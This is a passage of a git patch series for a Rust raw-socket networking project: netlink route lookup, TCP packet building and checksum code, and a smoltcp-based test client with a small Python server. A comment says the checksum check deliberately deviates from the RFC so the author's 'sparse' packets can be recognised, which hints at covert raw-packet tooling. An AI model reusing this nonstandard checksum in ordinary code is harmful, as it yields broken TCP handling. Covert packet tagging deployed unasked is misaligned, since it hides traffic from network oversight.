b/tcp-test/client/src/main.rs @@ -3,6 +3,11 @@ use std::net::Ipv4Addr; use anyhow::anyhow; use nl_sys::{netlink, route}; +use packets::EthernetPacket; + +struct TcpConnection { + packets_to_ack: Vec, +} #[tokio::main] async fn main() -> anyhow::Result<()> { @@ -27,7 +32,7 @@ async fn main() -> anyhow::Result<()> { (ifname, srcip, srcmac, dstmac) }; - let mut interface = pcap_sys::new_aggregate_interface(false)?; + let mut interface = pcap_sys::Interface::::new(&ifname)?; interface.set_buffer_size(8192)?; interface.set_non_blocking(true)?; @@ -36,9 +41,14 @@ async fn main() -> anyhow::Result<()> { let mut interface = interface.activate()?; - interface.set_filter("inbound and tcp port 54249", true, None)?; + let port: u16 = loop { + let port = rand::random(); + if port > 30_000 { + break port; + } + }; - interface.prune(|_, interface| interface.datalink() != pcap_sys::consts::DLT_EN10MB); + interface.set_filter(&format!("inbound and tcp port {}", port), true, None)?; Ok(()) } From 35bcf5352b85106776cc369eb63f4f5600136c35 Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Tue, 19 Sep 2023 10:24:51 -0400 Subject: [PATCH 04/15] feat: added test tcp client --- Cargo.lock | 125 +++++++++++++++++++++++++++++++++++- nl-sys/src/route.rs | 58 +++++++++++------ packets/src/lib.rs | 87 ++++++++++++++++--------- pcap-sys/src/lib.rs | 2 +- tcp-test/client/Cargo.toml | 1 + tcp-test/client/src/main.rs | 45 +++++++++---- 6 files changed, 251 insertions(+), 67 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index b802102..4b23724 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -86,6 +86,15 @@ version = "1.0.75" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a4668cab20f66d8d020e1fbc0ebe47217433c1b6c8f2040faf858554e394ace6" +[[package]] +name = "atomic-polyfill" +version = "0.1.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3ff7eb3f316534d83a8a2c3d1674ace8a5a71198eba31e2e2b597833f699b28" +dependencies = [ + "critical-section", +] + [[package]] name = "atty" version = "0.2.14" @@ -237,6 +246,12 @@ version = "0.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dcb25d077389e53838a8158c8e99174c5a9d902dee4904320db714f3c653ffba" +[[package]] +name = "critical-section" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7059fff8937831a9ae6f0fe4d658ffabf58f2ca96aa9dec1c889f936f705f216" + [[package]] name = "crypto-mac" version = "0.10.1" @@ -269,6 +284,38 @@ dependencies = [ "zeroize", ] +[[package]] +name = "defmt" +version = "0.3.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8a2d011b2fee29fb7d659b83c43fce9a2cb4df453e16d441a51448e448f3f98" +dependencies = [ + "bitflags 1.3.2", + "defmt-macros", +] + +[[package]] +name = "defmt-macros" +version = "0.3.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "54f0216f6c5acb5ae1a47050a6645024e6edafc2ee32d421955eccfef12ef92e" +dependencies = [ + "defmt-parser", + "proc-macro-error", + "proc-macro2 1.0.66", + "quote 1.0.33", + "syn 2.0.29", +] + +[[package]] +name = "defmt-parser" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "269924c02afd7f94bc4cecbfa5c379f6ffcf9766b3408fe63d22c728654eccd0" +dependencies = [ + "thiserror", +] + [[package]] name = "derive_more" version = "0.14.1" @@ -277,7 +324,7 @@ checksum = "6d944ac6003ed268757ef1ee686753b57efc5fcf0ebe7b64c9fc81e7e32ff839" dependencies = [ "proc-macro2 0.4.30", "quote 0.6.13", - "rustc_version", + "rustc_version 0.2.3", "syn 0.15.44", ] @@ -561,6 +608,28 @@ version = "0.28.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6fb8d784f27acf97159b40fc4db5ecd8aa23b9ad5ef69cdd136d3bc80665f0c0" +[[package]] +name = "hash32" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b0c35f58762feb77d74ebe43bdbc3210f09be9fe6742234d573bacc26ed92b67" +dependencies = [ + "byteorder", +] + +[[package]] +name = "heapless" +version = "0.7.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "db04bc24a18b9ea980628ecf00e6c0264f3c1426dac36c00cb49b6fbad8b0743" +dependencies = [ + "atomic-polyfill", + "hash32", + "rustc_version 0.4.0", + "spin", + "stable_deref_trait", +] + [[package]] name = "heck" version = "0.3.3" @@ -657,6 +726,12 @@ dependencies = [ "cfg-if", ] +[[package]] +name = "managed" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ca88d725a0a943b096803bd34e73a4437208b6077654cc4ecb2947a5f91618d" + [[package]] name = "memchr" version = "2.5.0" @@ -1022,7 +1097,16 @@ version = "0.2.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "138e3e0acb6c9fb258b19b67cb8abd63c00679d2851805ea151465464fe9030a" dependencies = [ - "semver", + "semver 0.9.0", +] + +[[package]] +name = "rustc_version" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfa0f585226d2e68097d4f95d113b15b83a82e819ab25717ec0590d9584ef366" +dependencies = [ + "semver 1.0.18", ] [[package]] @@ -1053,6 +1137,12 @@ dependencies = [ "semver-parser", ] +[[package]] +name = "semver" +version = "1.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b0293b4b29daaf487284529cc2f5675b8e57c61f70167ba415a463651fd6a918" + [[package]] name = "semver-parser" version = "0.7.0" @@ -1155,6 +1245,21 @@ version = "1.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "62bb4feee49fdd9f707ef802e22365a35de4b7b299de4763d44bfea899442ff9" +[[package]] +name = "smoltcp" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8d2e3a36ac8fea7b94e666dfa3871063d6e0a5c9d5d4fec9a1a6b7b6760f0229" +dependencies = [ + "bitflags 1.3.2", + "byteorder", + "cfg-if", + "defmt", + "heapless", + "libc", + "managed", +] + [[package]] name = "socket2" version = "0.5.3" @@ -1222,6 +1327,21 @@ dependencies = [ "pcap-sys", ] +[[package]] +name = "spin" +version = "0.9.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67" +dependencies = [ + "lock_api", +] + +[[package]] +name = "stable_deref_trait" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3" + [[package]] name = "strsim" version = "0.8.0" @@ -1301,6 +1421,7 @@ dependencies = [ "packets", "pcap-sys", "rand 0.8.5", + "smoltcp", "tokio", "tokio-stream", ] diff --git a/nl-sys/src/route.rs b/nl-sys/src/route.rs index f973b53..3824325 100644 --- a/nl-sys/src/route.rs +++ b/nl-sys/src/route.rs @@ -170,7 +170,9 @@ pub fn get_macs_and_src_for_ip( 0 }; - let Ok(dst_addr): Result = (&dst).try_into() else { return false }; + let Ok(dst_addr): Result = (&dst).try_into() else { + return false; + }; let dst_addr: u32 = dst_addr.into(); (mask & dst_addr) == (mask & ip_int) @@ -181,7 +183,12 @@ pub fn get_macs_and_src_for_ip( #[cfg(debug_assertions)] { for link in links.iter() { - println!("Link {}: {:?} ({})", link.name(), link.addr(), link.ifindex()); + println!( + "Link {}: {:?} ({})", + link.name(), + link.addr(), + link.ifindex() + ); println!("\tAddrs:"); for addr in addrs.iter().filter(|addr| addr.ifindex() == link.ifindex()) { @@ -191,7 +198,11 @@ pub fn get_macs_and_src_for_ip( } println!("\tNeighbors:"); - for neigh in neighs.iter().filter(|neigh| neigh.ifindex() == link.ifindex()) { + for neigh in neighs + .iter() + .filter(|neigh| neigh.ifindex() == link.ifindex()) + { + println!("\t\ttest {:?}, {:?}", neigh.ifindex(), neigh.dst()); println!("\t\t{:?}, {:?}", neigh.dst(), neigh.lladdr()); } } @@ -224,7 +235,9 @@ pub fn get_neigh_for_addr( addr: &Addr, ) -> Option<(Ipv4Addr, Link, [u8; 6])> { for link in links.iter() { - let Some(neigh) = link.get_neigh(&neighs, addr) else { continue; }; + let Some(neigh) = link.get_neigh(&neighs, addr) else { + continue; + }; return Some((addr.try_into().ok()?, link, neigh)); } @@ -239,7 +252,7 @@ pub fn get_neigh_for_addr( }; let Some(first_hop) = def_neigh.hop_iter().next() else { - return None + return None; }; if n.ifindex() != first_hop.ifindex() { @@ -322,8 +335,12 @@ impl Addr { } // Determines the type of data in [`Addr::hw_address`] - pub fn atype(&self) -> c_int { - unsafe { nl_addr_get_family(self.addr) } + pub fn atype(&self) -> Option { + if self.addr.is_null() { + None + } else { + Some(unsafe { nl_addr_get_family(self.addr) }) + } } /// Returns the length of the subnet mask applying to this address @@ -334,8 +351,8 @@ impl Addr { impl Debug for Addr { fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { - match self.atype() { - AF_INET => { + let res = match self.atype() { + Some(AF_INET) => { let octets = self.hw_address(); f.debug_struct("Addr") .field( @@ -351,7 +368,7 @@ impl Debug for Addr { ) .finish() } - AF_LLC => { + Some(AF_LLC) => { let octets = self.hw_address(); f.debug_struct("Addr") @@ -359,22 +376,23 @@ impl Debug for Addr { "addr", &format!( "{:02X?}:{:02X?}:{:02X?}:{:02X?}:{:02X?}:{:02X?}", - octets[0], - octets[1], - octets[2], - octets[3], - octets[4], - octets[5], - ) + octets[0], octets[1], octets[2], octets[3], octets[4], octets[5], + ), ) .finish() } + None => f + .debug_struct("Addr") + .field("addr", &"unknown") + .field("atype", &"unknown") + .finish(), _ => f .debug_struct("Addr") .field("addr", &self.hw_address()) .field("atype", &self.atype()) .finish(), - } + }; + res } } @@ -551,7 +569,9 @@ pub fn get_srcip_for_dstip(routes: &Cache, ip: Ipv4Addr) -> Option = (&dst).try_into() else { return false }; + let Ok(dst_addr): Result = (&dst).try_into() else { + return false; + }; let dst_addr: u32 = dst_addr.into(); (mask & dst_addr) == (mask & ip_int) diff --git a/packets/src/lib.rs b/packets/src/lib.rs index b0cf333..276e132 100644 --- a/packets/src/lib.rs +++ b/packets/src/lib.rs @@ -290,6 +290,61 @@ impl<'a> TCPPkt<'a> { pub fn data(&self) -> &[u8] { &self.data[(self.len() as usize)..] } + + pub fn verify_checksum(&self, srcip: I1, dstip: I2) -> bool + where + I1: Into, + I2: Into, + { + let source = srcip.into(); + let dest = dstip.into(); + + let protocol = &[0x00u8, 0x06u8]; + + let tcp_length = (self.data.len()) as u16; + + let len: u8 = (self.len()).try_into().unwrap(); + let len = len << 4; + + let bytes = [ + &source.octets()[..], + &dest.octets(), + protocol, + &tcp_length.to_be_bytes(), + &self.srcport().to_be_bytes()[..], + &self.dstport().to_be_bytes(), + &self.seqnumber().to_be_bytes(), + &self.acknumber().to_be_bytes(), + &[len], + &[self.flags()], + &self.window().to_be_bytes(), + &[0, 0], + &self.urgent_ptr().to_be_bytes(), + &self.options(), + &self.data(), + ] + .concat(); + + let checksum = bytes + .chunks(2) + .map(|pair| { + if pair.len() == 1 { + (pair[0] as u32) << 8 + } else { + (pair[0] as u32) << 8 | (pair[1] as u32) + } + }) + .fold(0u32, |acc, e| acc + e) + + 30; + // + 30 to intentionally deviate from + // the RFC, to make it so that I can identify the packets as sparse + // packets + + let checksum = (checksum >> 16) + (checksum & 0xffff); + let checksum = ((checksum >> 16) as u16) + (checksum as u16); + + checksum == self.checksum() + } } #[derive(Debug, Clone)] @@ -590,35 +645,3 @@ impl TCPPacketBuilder { } } } - -#[cfg(test)] -mod test { - use std::net::Ipv4Addr; - - #[test] - fn test_tcp_checksum() { - let srcip = Ipv4Addr::new(127, 0, 0, 1); - let dstip = srcip.clone(); - - let packet = super::TCPPacketBuilder::default() - .srcport(36916) - .dstport(54248) - .seqnumber(0xFD65_CA26) - .syn(true) - .window(65495) - .options(vec![ - 0x02, 0x04, 0xff, 0xd7, 0x04, 0x02, 0x08, 0x0a, 0xce, 0x4e, 0xad, 0x04, 0x00, 0x00, - 0x00, 0x00, 0x01, 0x03, 0x03, 0x07, - ]) - .build(srcip, dstip, vec![]); - - assert_eq!( - &packet.data, - &vec![ - 0x90, 0x34, 0xd3, 0xe8, 0xfd, 0x65, 0xca, 0x26, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x02, - 0xff, 0xd7, 0xfe, 0x30, 0x00, 0x00, 0x02, 0x04, 0xff, 0xd7, 0x04, 0x02, 0x08, 0x0a, - 0xce, 0x4e, 0xad, 0x04, 0x00, 0x00, 0x00, 0x00, 0x01, 0x03, 0x03, 0x07 - ] - ); - } -} diff --git a/pcap-sys/src/lib.rs b/pcap-sys/src/lib.rs index 47bf615..60cb4f1 100644 --- a/pcap-sys/src/lib.rs +++ b/pcap-sys/src/lib.rs @@ -255,7 +255,7 @@ impl Interface { } pub fn set_filter( - &mut self, + &self, filter: &str, optimize: bool, mask: Option, diff --git a/tcp-test/client/Cargo.toml b/tcp-test/client/Cargo.toml index 8952797..7f3a623 100644 --- a/tcp-test/client/Cargo.toml +++ b/tcp-test/client/Cargo.toml @@ -13,3 +13,4 @@ rand = "0.8.5" tokio = { version = "1.32.0", features = ["full"] } anyhow = "1.0.75" tokio-stream = { version = "0.1.14", features = ["full"] } +smoltcp = { version = "0.10.0", default-features = false, features = ["socket-tcp", "phy-raw_socket", "std", "async", "medium-ethernet"] } diff --git a/tcp-test/client/src/main.rs b/tcp-test/client/src/main.rs index 877310d..953ccfa 100644 --- a/tcp-test/client/src/main.rs +++ b/tcp-test/client/src/main.rs @@ -1,13 +1,11 @@ -use std::net::Ipv4Addr; +use std::{net::Ipv4Addr, sync::Arc}; use anyhow::anyhow; use nl_sys::{netlink, route}; -use packets::EthernetPacket; - -struct TcpConnection { - packets_to_ack: Vec, -} +use packets::{ + EthernetPacket, IPv4Packet, Layer3Packet, Layer4Packet, TCPPacketBuilder, UDPPacket, +}; #[tokio::main] async fn main() -> anyhow::Result<()> { @@ -17,7 +15,7 @@ async fn main() -> anyhow::Result<()> { .ok_or(anyhow!("could not get target IP"))? .parse::()?; - let (ifname, src_mac, dst_mac, srcip) = { + let (ifname, srcip, src_mac, dst_mac) = { let socket = netlink::Socket::new()?; let routes = socket.get_routes()?; @@ -25,13 +23,12 @@ async fn main() -> anyhow::Result<()> { let links = socket.get_links()?; let addrs = socket.get_addrs()?; - let (ifname, srcip, srcmac, dstmac) = - route::get_macs_and_src_for_ip(&addrs, &routes, &neighs, &links, ip) - .ok_or(anyhow!("unable to find a route to the IP"))?; - - (ifname, srcip, srcmac, dstmac) + route::get_macs_and_src_for_ip(&addrs, &routes, &neighs, &links, ip) + .ok_or(anyhow!("unable to find a route to the IP"))? }; + dbg!((&ifname, srcip, src_mac, dst_mac)); + let mut interface = pcap_sys::Interface::::new(&ifname)?; interface.set_buffer_size(8192)?; @@ -39,7 +36,7 @@ async fn main() -> anyhow::Result<()> { interface.set_promisc(false)?; interface.set_timeout(10)?; - let mut interface = interface.activate()?; + let interface = Arc::new(interface.activate()?); let port: u16 = loop { let port = rand::random(); @@ -48,7 +45,29 @@ async fn main() -> anyhow::Result<()> { } }; + let packets_to_ack: Vec = vec![]; + interface.set_filter(&format!("inbound and tcp port {}", port), true, None)?; + let seq: u32 = rand::random(); + + let udppacket = UDPPacket::construct(port, 54248, vec![]); + + let tcppacket = TCPPacketBuilder::default() + .srcport(port) + .dstport(54248) + .seqnumber(seq) + .acknumber(0) + .syn(true) + .window(65495) + .build(srcip.clone(), ip.clone(), vec![]); + + let ippacket = IPv4Packet::construct(srcip, ip, &Layer4Packet::UDP(udppacket)); + let ethpacket = EthernetPacket::construct(src_mac, dst_mac, &Layer3Packet::IPv4(ippacket)); + + println!("sending packet..."); + + interface.sendpacket(ethpacket.pkt())?; + Ok(()) } From f5b31954d425edb3689579256b8696ad31675ab4 Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Tue, 19 Sep 2023 19:19:29 -0400 Subject: [PATCH 05/15] feat: trying out smoltcp --- Cargo.lock | 6 +- nl-sys/src/route.rs | 6 +- tcp-test/client/Cargo.toml | 3 +- tcp-test/client/src/main.rs | 159 ++++++++++++++++++++++++++++-------- tcp-test/server.py | 3 + 5 files changed, 138 insertions(+), 39 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index 4b23724..66cb53b 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -697,9 +697,9 @@ checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" [[package]] name = "libc" -version = "0.2.147" +version = "0.2.148" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b4668fb0ea861c1df094127ac5f1da3409a82116a4ba74fca2e58ef927159bb3" +checksum = "9cdc71e17332e86d2e1d38c1f99edcb6288ee11b815fb1a4b049eaa2114d369b" [[package]] name = "linux-raw-sys" @@ -1257,6 +1257,7 @@ dependencies = [ "defmt", "heapless", "libc", + "log", "managed", ] @@ -1417,6 +1418,7 @@ name = "tcp-test" version = "0.1.0" dependencies = [ "anyhow", + "libc", "nl-sys", "packets", "pcap-sys", diff --git a/nl-sys/src/route.rs b/nl-sys/src/route.rs index 3824325..9fbd512 100644 --- a/nl-sys/src/route.rs +++ b/nl-sys/src/route.rs @@ -146,7 +146,7 @@ pub fn get_macs_and_src_for_ip( neighs: &Cache, links: &Cache, addr: Ipv4Addr, -) -> Option<(String, Ipv4Addr, [u8; 6], [u8; 6])> { +) -> Option<(String, i32, Ipv4Addr, [u8; 6], [u8; 6], u8)> { let mut sorted_routes = routes.iter().collect::>(); sorted_routes.sort_by(|r1, r2| { @@ -182,6 +182,7 @@ pub fn get_macs_and_src_for_ip( #[cfg(debug_assertions)] { + println!("Link index: {link_ind}\n"); for link in links.iter() { println!( "Link {}: {:?} ({})", @@ -202,7 +203,6 @@ pub fn get_macs_and_src_for_ip( .iter() .filter(|neigh| neigh.ifindex() == link.ifindex()) { - println!("\t\ttest {:?}, {:?}", neigh.ifindex(), neigh.dst()); println!("\t\t{:?}, {:?}", neigh.dst(), neigh.lladdr()); } } @@ -221,9 +221,11 @@ pub fn get_macs_and_src_for_ip( Some(( link.name(), + link_ind, (&srcip.local()?).try_into().ok()?, link.addr().hw_address().try_into().ok()?, neigh, + route.dst().unwrap().cidrlen() as u8, )) } diff --git a/tcp-test/client/Cargo.toml b/tcp-test/client/Cargo.toml index 7f3a623..f28ac47 100644 --- a/tcp-test/client/Cargo.toml +++ b/tcp-test/client/Cargo.toml @@ -13,4 +13,5 @@ rand = "0.8.5" tokio = { version = "1.32.0", features = ["full"] } anyhow = "1.0.75" tokio-stream = { version = "0.1.14", features = ["full"] } -smoltcp = { version = "0.10.0", default-features = false, features = ["socket-tcp", "phy-raw_socket", "std", "async", "medium-ethernet"] } +smoltcp = { version = "0.10.0", features = ["socket-tcp", "phy-raw_socket", "std", "async", "medium-ethernet", "proto-ipv4", "reassembly-buffer-size-65536", "fragmentation-buffer-size-65536", "proto-ipv4-fragmentation"] } +libc = "0.2.148" diff --git a/tcp-test/client/src/main.rs b/tcp-test/client/src/main.rs index 953ccfa..0aa1e8d 100644 --- a/tcp-test/client/src/main.rs +++ b/tcp-test/client/src/main.rs @@ -1,11 +1,17 @@ -use std::{net::Ipv4Addr, sync::Arc}; +use std::{net::Ipv4Addr, os::fd::AsRawFd, sync::Arc}; use anyhow::anyhow; use nl_sys::{netlink, route}; -use packets::{ - EthernetPacket, IPv4Packet, Layer3Packet, Layer4Packet, TCPPacketBuilder, UDPPacket, + +use smoltcp::{ + iface::{Config, Interface, Route, SocketSet}, + phy::{wait as phy_wait, Medium, RawSocket}, + socket::tcp, + time::Instant, + wire::{EthernetAddress, IpAddress, IpCidr, Ipv4Address}, }; +use tokio::io::{unix::AsyncFd, Interest}; #[tokio::main] async fn main() -> anyhow::Result<()> { @@ -15,7 +21,7 @@ async fn main() -> anyhow::Result<()> { .ok_or(anyhow!("could not get target IP"))? .parse::()?; - let (ifname, srcip, src_mac, dst_mac) = { + let (routes, (ifname, ifindex, srcip, src_mac, _, src_snmask)) = { let socket = netlink::Socket::new()?; let routes = socket.get_routes()?; @@ -23,51 +29,136 @@ async fn main() -> anyhow::Result<()> { let links = socket.get_links()?; let addrs = socket.get_addrs()?; - route::get_macs_and_src_for_ip(&addrs, &routes, &neighs, &links, ip) - .ok_or(anyhow!("unable to find a route to the IP"))? + let res = route::get_macs_and_src_for_ip(&addrs, &routes, &neighs, &links, ip) + .ok_or(anyhow!("unable to find a route to the IP"))?; + + (routes, res) }; - dbg!((&ifname, srcip, src_mac, dst_mac)); + // dbg!((&ifname, srcip, src_mac, dst_mac)); - let mut interface = pcap_sys::Interface::::new(&ifname)?; + let mut device = RawSocket::new(&ifname, Medium::Ethernet)?; - interface.set_buffer_size(8192)?; - interface.set_non_blocking(true)?; - interface.set_promisc(false)?; - interface.set_timeout(10)?; + let mut config = Config::new(EthernetAddress(src_mac).into()); + config.random_seed = rand::random(); - let interface = Arc::new(interface.activate()?); + let mut iface = Interface::new(config, &mut device, Instant::now()); + iface.update_ip_addrs(|ip_addrs| { + let o = srcip.octets(); + ip_addrs + .push(IpCidr::new( + IpAddress::v4(o[0], o[1], o[2], o[3]), + src_snmask, + )) + .unwrap(); + }); - let port: u16 = loop { - let port = rand::random(); - if port > 30_000 { + for route in routes.iter() { + let Some(dst) = route.dst() else { + continue; + }; + + let Some(hop) = route.hop_iter().next() else { + continue; + }; + if hop.ifindex() != ifindex { + continue; + } + let Some(laddr) = hop.gateway() else { + continue; + }; + if laddr.atype() != Some(libc::AF_INET) { + continue; + } + let Some(raddr) = route.dst() else { + continue; + }; + if raddr.atype() != Some(libc::AF_INET) { + continue; + } + + if dst.cidrlen() == 0 { + iface + .routes_mut() + .add_default_ipv4_route(Ipv4Address::from_bytes(&laddr.hw_address()))?; + } else { + iface.routes_mut().update(|routes| { + let lip = laddr.hw_address(); + let rip = raddr.hw_address(); + + _ = routes.push(Route { + cidr: IpCidr::new( + IpAddress::v4(rip[0], rip[1], rip[2], rip[3]), + dst.cidrlen() as u8, + ), + via_router: IpAddress::v4(lip[0], lip[1], lip[2], lip[3]), + expires_at: None, + preferred_until: None, + }) + }); + } + } + + let tcp_rx_buffer = tcp::SocketBuffer::new(vec![0; 1500]); + let tcp_tx_buffer = tcp::SocketBuffer::new(vec![0; 1500]); + let tcp_socket = tcp::Socket::new(tcp_rx_buffer, tcp_tx_buffer); + let mut sockets = SocketSet::new(vec![]); + let tcp_handle = sockets.add(tcp_socket); + + let port = loop { + let port = rand::random::(); + + if port > 40_000 { break port; } }; - let packets_to_ack: Vec = vec![]; + let socket = sockets.get_mut::(tcp_handle); + socket.connect(iface.context(), (ip, 54248), port)?; - interface.set_filter(&format!("inbound and tcp port {}", port), true, None)?; + let fd = device.as_raw_fd(); + let interest = Interest::WRITABLE + .add(Interest::READABLE) + .add(Interest::ERROR) + .add(Interest::PRIORITY); + let afd = AsyncFd::with_interest(fd, interest)?; - let seq: u32 = rand::random(); + let mut tcp_active = false; + let mut tcp_data_sent = false; + let mut tcp_data_recvd = false; - let udppacket = UDPPacket::construct(port, 54248, vec![]); + loop { + let timestamp = Instant::now(); + iface.poll(timestamp, &mut device, &mut sockets); - let tcppacket = TCPPacketBuilder::default() - .srcport(port) - .dstport(54248) - .seqnumber(seq) - .acknumber(0) - .syn(true) - .window(65495) - .build(srcip.clone(), ip.clone(), vec![]); + let socket = sockets.get_mut::(tcp_handle); + if socket.is_active() && !tcp_active { + println!("connected!"); + } else if !socket.is_active() && tcp_active { + println!("disconnected"); + break Ok(()); + } + tcp_active = socket.is_active(); - let ippacket = IPv4Packet::construct(srcip, ip, &Layer4Packet::UDP(udppacket)); - let ethpacket = EthernetPacket::construct(src_mac, dst_mac, &Layer3Packet::IPv4(ippacket)); + if !tcp_data_sent && socket.can_send() { + socket.send_slice(b"ping")?; + tcp_data_sent = true; + } + if !tcp_data_recvd && socket.may_recv() { + socket.recv(|data| { + if !data.is_empty() { + match std::str::from_utf8(&data) { + Ok(s) => println!("Data received: {}", s), + Err(_) => println!("Data received: {:?}", data), + } + } + (data.len(), data) + })?; + tcp_data_recvd = true; + } - println!("sending packet..."); + // phy_wait(fd, iface.poll_delay(timestamp, &sockets))?; - interface.sendpacket(ethpacket.pkt())?; - - Ok(()) + drop(afd.ready(interest).await?); + } } diff --git a/tcp-test/server.py b/tcp-test/server.py index ce1ef96..08a56c5 100644 --- a/tcp-test/server.py +++ b/tcp-test/server.py @@ -4,6 +4,9 @@ import socket server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +server.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1500) +server.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 1500) + server.bind(("0.0.0.0", 54248)) server.listen(32) From f092548a8cba8d82bc39551ab42caf5f401c8675 Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Wed, 20 Sep 2023 00:15:15 -0400 Subject: [PATCH 06/15] feat: worked some on the tcp client found out ethtool helps make the program work with lxc sockets --- Cargo.lock | 14 ++-- tcp-test/client/Cargo.toml | 4 +- tcp-test/client/src/main.rs | 123 ++++++++++++++++++++++++++++-------- 3 files changed, 105 insertions(+), 36 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index 66cb53b..e438c5e 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -719,12 +719,9 @@ dependencies = [ [[package]] name = "log" -version = "0.4.17" +version = "0.4.20" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "abb12e687cfb44aa40f41fc3978ef76448f9b6038cad6aef4259d3c095a2382e" -dependencies = [ - "cfg-if", -] +checksum = "b5e6163cb8c49088c2c36f57875e58ccd8c87c7427f7fbd50ea6710b2f3f2e8f" [[package]] name = "managed" @@ -1219,11 +1216,10 @@ checksum = "74233d3b3b2f6d4b006dc19dee745e73e2a6bfb6f93607cd3b02bd5b00797d7c" [[package]] name = "simple_logger" -version = "4.1.0" +version = "4.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e78beb34673091ccf96a8816fce8bfd30d1292c7621ca2bcb5f2ba0fae4f558d" +checksum = "2230cd5c29b815c9b699fb610b49a5ed65588f3509d9f0108be3a885da629333" dependencies = [ - "atty", "colored", "log", "time", @@ -1419,10 +1415,12 @@ version = "0.1.0" dependencies = [ "anyhow", "libc", + "log", "nl-sys", "packets", "pcap-sys", "rand 0.8.5", + "simple_logger", "smoltcp", "tokio", "tokio-stream", diff --git a/tcp-test/client/Cargo.toml b/tcp-test/client/Cargo.toml index f28ac47..853cbcb 100644 --- a/tcp-test/client/Cargo.toml +++ b/tcp-test/client/Cargo.toml @@ -13,5 +13,7 @@ rand = "0.8.5" tokio = { version = "1.32.0", features = ["full"] } anyhow = "1.0.75" tokio-stream = { version = "0.1.14", features = ["full"] } -smoltcp = { version = "0.10.0", features = ["socket-tcp", "phy-raw_socket", "std", "async", "medium-ethernet", "proto-ipv4", "reassembly-buffer-size-65536", "fragmentation-buffer-size-65536", "proto-ipv4-fragmentation"] } +smoltcp = { version = "0.10", features = ["socket-tcp", "phy-raw_socket", "std", "async", "medium-ethernet", "proto-ipv4", "reassembly-buffer-size-65536", "fragmentation-buffer-size-65536", "proto-ipv4-fragmentation", "log", "verbose"] } libc = "0.2.148" +log = "0.4.20" +simple_logger = "4.2.0" diff --git a/tcp-test/client/src/main.rs b/tcp-test/client/src/main.rs index 0aa1e8d..d4084d7 100644 --- a/tcp-test/client/src/main.rs +++ b/tcp-test/client/src/main.rs @@ -2,11 +2,12 @@ use std::{net::Ipv4Addr, os::fd::AsRawFd, sync::Arc}; use anyhow::anyhow; +use log::{debug, info, trace}; use nl_sys::{netlink, route}; use smoltcp::{ iface::{Config, Interface, Route, SocketSet}, - phy::{wait as phy_wait, Medium, RawSocket}, + phy::{wait as phy_wait, Device, Medium, RawSocket}, socket::tcp, time::Instant, wire::{EthernetAddress, IpAddress, IpCidr, Ipv4Address}, @@ -15,6 +16,11 @@ use tokio::io::{unix::AsyncFd, Interest}; #[tokio::main] async fn main() -> anyhow::Result<()> { + simple_logger::SimpleLogger::new() + .with_level(log::LevelFilter::Trace) + .with_module_level("tcp_test", log::LevelFilter::Trace) + .init()?; + let ip = std::env::args() .skip(1) .next() @@ -45,6 +51,11 @@ async fn main() -> anyhow::Result<()> { let mut iface = Interface::new(config, &mut device, Instant::now()); iface.update_ip_addrs(|ip_addrs| { let o = srcip.octets(); + debug!( + "source network ip: {}.{}.{}.{}/{src_snmask}", + o[0], o[1], o[2], o[3] + ); + ip_addrs .push(IpCidr::new( IpAddress::v4(o[0], o[1], o[2], o[3]), @@ -55,36 +66,85 @@ async fn main() -> anyhow::Result<()> { for route in routes.iter() { let Some(dst) = route.dst() else { + trace!("failed to get route destination"); continue; }; let Some(hop) = route.hop_iter().next() else { + trace!("no next hop existed for {dst:?}"); continue; }; if hop.ifindex() != ifindex { + trace!("hop doesn't match ifindex {ifindex}"); continue; } let Some(laddr) = hop.gateway() else { + trace!("couldn't get gateway address for {dst:?}"); continue; }; if laddr.atype() != Some(libc::AF_INET) { - continue; - } - let Some(raddr) = route.dst() else { - continue; - }; - if raddr.atype() != Some(libc::AF_INET) { + trace!("unable to load IP info for {dst:?}"); continue; } if dst.cidrlen() == 0 { + info!("setting default route via {:?}", &laddr); iface .routes_mut() .add_default_ipv4_route(Ipv4Address::from_bytes(&laddr.hw_address()))?; - } else { + iface.routes_mut().update(|routes| { let lip = laddr.hw_address(); - let rip = raddr.hw_address(); + _ = routes.push(Route { + cidr: 